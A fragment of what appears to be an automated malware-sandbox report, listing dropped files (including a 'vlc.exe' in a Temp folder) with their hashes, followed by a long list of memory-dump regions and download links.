6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
8758081539cb84f9ae2ab4d49dbcece2

SHA1
b5062da4d554a96f8553e2f364c8e2cac487cdc3

SHA256
95edccefdb29c534ec6ec58a31ef5f24cb8107dffe9a80839b51c3ad385bc8f7

SHA512
bba169e7aea9a80efd2a2a6e0c3ee125db77bd1346f2d00b966fd63cb91c0981ddf137ed3d6dbb810072dee1f5cfb2c6f2084b61af3b641a6027abcab234d97e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1eb710ce39c51cd352a901e3ce4d69da

SHA1
d8007d7f26418f51d8661ddd40880f55ede84b4f

SHA256
ca2753118c41e5d15d73f599354f159c365dec1dfd5f87486f0099f76acd515b

SHA512
43bd805a025fb03fc497a1484afb88020b2b7d0312ae52d002472586226edd674764afa189fb8f079c289cd3daed3fd626fb8a11c03dc70b781b620bd0bf8ffb

Download Submit
\Users\Admin\AppData\Local\Temp\40be52e41f5e3624fc9f4e60a8e3d6b7\vlc.exe

Filesize
966KB

MD5
e634616d3b445fc1cd55ee79cf5326ea

SHA1
ca27a368d87bc776884322ca996f3b24e20645f4

SHA256
1fcd04fe1a3d519c7d585216b414cd947d16997d77d81a2892821f588c630937

SHA512
7d491c0a97ce60e22238a1a3530f45fbb3c82377b400d7986db09eccad05c9c22fb5daa2b4781882f870ab088326e5f6156613124caa67b54601cbad8f66aa90

Download Submit
memory/1516-215-0x000000013F700000-0x000000013F7F8000-memory.dmp

Filesize
992KB

Download
memory/1516-216-0x000007FEF6710000-0x000007FEF6744000-memory.dmp

Filesize
208KB

Download
memory/1516-217-0x0000000140000000-0x00000001402B5000-memory.dmp

Filesize
2.7MB

Download
memory/1516-206-0x000007FEF5F40000-0x000007FEF6098000-memory.dmp

Filesize
1.3MB

Download
memory/1940-286-0x0000000000400000-0x0000000000465000-memory.dmp

Filesize
404KB

Download
memory/1940-284-0x0000000076F20000-0x00000000770C9000-memory.dmp

Filesize
1.7MB

Download
memory/1940-285-0x0000000000400000-0x0000000000465000-memory.dmp

Filesize
404KB

Download
memory/2184-281-0x0000000076F20000-0x00000000770C9000-memory.dmp

Filesize
1.7MB

Download
memory/2184-282-0x0000000074110000-0x0000000074284000-memory.dmp

Filesize
1.5MB

Download
memory/2396-274-0x000007FEF65B0000-0x000007FEF6708000-memory.dmp

Filesize
1.3MB

Download
memory/2396-276-0x000000013FB60000-0x000000013FC58000-memory.dmp

Filesize
992KB

Download
memory/2396-225-0x000007FEF65B0000-0x000007FEF6708000-memory.dmp

Filesize
1.3MB

Download
memory/2396-278-0x0000000140000000-0x00000001402B5000-memory.dmp

Filesize
2.7MB

Download
memory/2736-159-0x0000000002A28000-0x0000000002A30000-memory.dmp

Filesize
32KB

Download
memory/2736-169-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-58-0x00000000029B8000-0x00000000029C0000-memory.dmp

Filesize
32KB

Download
memory/2736-65-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/2736-68-0x0000000002A18000-0x0000000002A20000-memory.dmp

Filesize
32KB

Download
memory/2736-67-0x00000000029C8000-0x00000000029D0000-memory.dmp

Filesize
32KB

Download
memory/2736-72-0x0000000002A20000-0x0000000002A28000-memory.dmp

Filesize
32KB

Download
memory/2736-71-0x00000000029D0000-0x00000000029D8000-memory.dmp

Filesize
32KB

Download
memory/2736-77-0x00000000029D8000-0x00000000029E0000-memory.dmp

Filesize
32KB

Download
memory/2736-78-0x0000000002A28000-0x0000000002A30000-memory.dmp

Filesize
32KB

Download
memory/2736-83-0x0000000002A30000-0x0000000002A38000-memory.dmp

Filesize
32KB

Download
memory/2736-82-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2736-87-0x0000000002A38000-0x0000000002A40000-memory.dmp

Filesize
32KB

Download
memory/2736-86-0x00000000029E8000-0x00000000029F0000-memory.dmp

Filesize
32KB

Download
memory/2736-91-0x0000000002A40000-0x0000000002A48000-memory.dmp

Filesize
32KB

Download
memory/2736-90-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2736-95-0x0000000002A48000-0x0000000002A50000-memory.dmp

Filesize
32KB

Download
memory/2736-94-0x00000000029F8000-0x0000000002A00000-memory.dmp

Filesize
32KB

Download
memory/2736-98-0x0000000002A50000-0x0000000002A58000-memory.dmp

Filesize
32KB

Download
memory/2736-97-0x0000000002A00000-0x0000000002A08000-memory.dmp

Filesize
32KB

Download
memory/2736-112-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/2736-111-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-110-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-109-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-108-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-107-0x0000000002A08000-0x0000000002A10000-memory.dmp

Filesize
32KB

Download
memory/2736-115-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2736-130-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2736-146-0x0000000002A18000-0x0000000002A20000-memory.dmp

Filesize
32KB

Download
memory/2736-156-0x0000000002A20000-0x0000000002A28000-memory.dmp

Filesize
32KB

Download
memory/2736-60-0x00000000029C0000-0x00000000029C8000-memory.dmp

Filesize
32KB

Download
memory/2736-160-0x0000000002A30000-0x0000000002A38000-memory.dmp

Filesize
32KB

Download
memory/2736-161-0x0000000002A38000-0x0000000002A40000-memory.dmp

Filesize
32KB

Download
memory/2736-163-0x0000000002A40000-0x0000000002A48000-memory.dmp

Filesize
32KB

Download
memory/2736-164-0x0000000002A48000-0x0000000002A50000-memory.dmp

Filesize
32KB

Download
memory/2736-165-0x0000000002A50000-0x0000000002A58000-memory.dmp

Filesize
32KB

Download
memory/2736-61-0x0000000002A08000-0x0000000002A10000-memory.dmp

Filesize
32KB

Download
memory/2736-54-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2736-55-0x0000000002A00000-0x0000000002A08000-memory.dmp

Filesize
32KB

Download
memory/2736-50-0x0000000002968000-0x0000000002970000-memory.dmp

Filesize
32KB

Download
memory/2736-51-0x00000000029F8000-0x0000000002A00000-memory.dmp

Filesize
32KB

Download
memory/2736-46-0x0000000002920000-0x0000000002948000-memory.dmp

Filesize
160KB

Download
memory/2736-168-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-59-0x0000000002958000-0x0000000002960000-memory.dmp

Filesize
32KB

Download
memory/2736-170-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-171-0x0000000000480000-0x000000000048A000-memory.dmp

Filesize
40KB

Download
memory/2736-226-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2736-229-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2736-47-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2736-43-0x00000000029E8000-0x00000000029F0000-memory.dmp

Filesize
32KB

Download
memory/2736-258-0x0000000002A50000-0x0000000002A58000-memory.dmp

Filesize
32KB

Download
memory/2736-257-0x0000000002A48000-0x0000000002A50000-memory.dmp

Filesize
32KB

Download
memory/2736-256-0x0000000002A40000-0x0000000002A48000-memory.dmp

Filesize
32KB

Download
memory/2736-255-0x0000000002A38000-0x0000000002A40000-memory.dmp

Filesize
32KB

Download
memory/2736-254-0x0000000002A30000-0x0000000002A38000-memory.dmp

Filesize
32KB

Download
memory/2736-253-0x0000000002A28000-0x0000000002A30000-memory.dmp

Filesize
32KB

Download
memory/2736-252-0x0000000002A20000-0x0000000002A28000-memory.dmp

Filesize
32KB

Download
memory/2736-251-0x0000000002A18000-0x0000000002A20000-memory.dmp

Filesize
32KB

Download
memory/2736-250-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/2736-249-0x0000000002A08000-0x0000000002A10000-memory.dmp

Filesize
32KB

Download
memory/2736-248-0x0000000002A00000-0x0000000002A08000-memory.dmp

Filesize
32KB

Download
memory/2736-247-0x00000000029F8000-0x0000000002A00000-memory.dmp

Filesize
32KB

Download
memory/2736-246-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2736-245-0x00000000029E8000-0x00000000029F0000-memory.dmp

Filesize
32KB

Download
memory/2736-244-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2736-243-0x00000000029D8000-0x00000000029E0000-memory.dmp

Filesize
32KB

Download
memory/2736-242-0x00000000029D0000-0x00000000029D8000-memory.dmp

Filesize
32KB

Download
memory/2736-241-0x00000000029C8000-0x00000000029D0000-memory.dmp

Filesize
32KB

Download
memory/2736-240-0x00000000029C0000-0x00000000029C8000-memory.dmp

Filesize
32KB

Download
memory/2736-239-0x0000000002958000-0x0000000002960000-memory.dmp

Filesize
32KB

Download
memory/2736-238-0x00000000029B8000-0x00000000029C0000-memory.dmp

Filesize
32KB

Download
memory/2736-237-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2736-236-0x0000000002968000-0x0000000002970000-memory.dmp

Filesize
32KB

Download
memory/2736-42-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2736-40-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2736-38-0x00000000029D8000-0x00000000029E0000-memory.dmp

Filesize
32KB

Download
memory/2736-36-0x00000000029D0000-0x00000000029D8000-memory.dmp

Filesize
32KB

Download
memory/2736-34-0x00000000029C8000-0x00000000029D0000-memory.dmp

Filesize
32KB

Download
memory/2736-27-0x00000000029B8000-0x00000000029C0000-memory.dmp

Filesize
32KB

Download
memory/2736-28-0x0000000002958000-0x0000000002960000-memory.dmp

Filesize
32KB

Download
memory/2736-29-0x00000000029C0000-0x00000000029C8000-memory.dmp

Filesize
32KB

Download
memory/2736-30-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2736-13-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2736-10-0x0000000002968000-0x0000000002970000-memory.dmp

Filesize
32KB

Download
memory/2736-6-0x0000000002920000-0x0000000002948000-memory.dmp

Filesize
160KB

Download
memory/2904-0-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download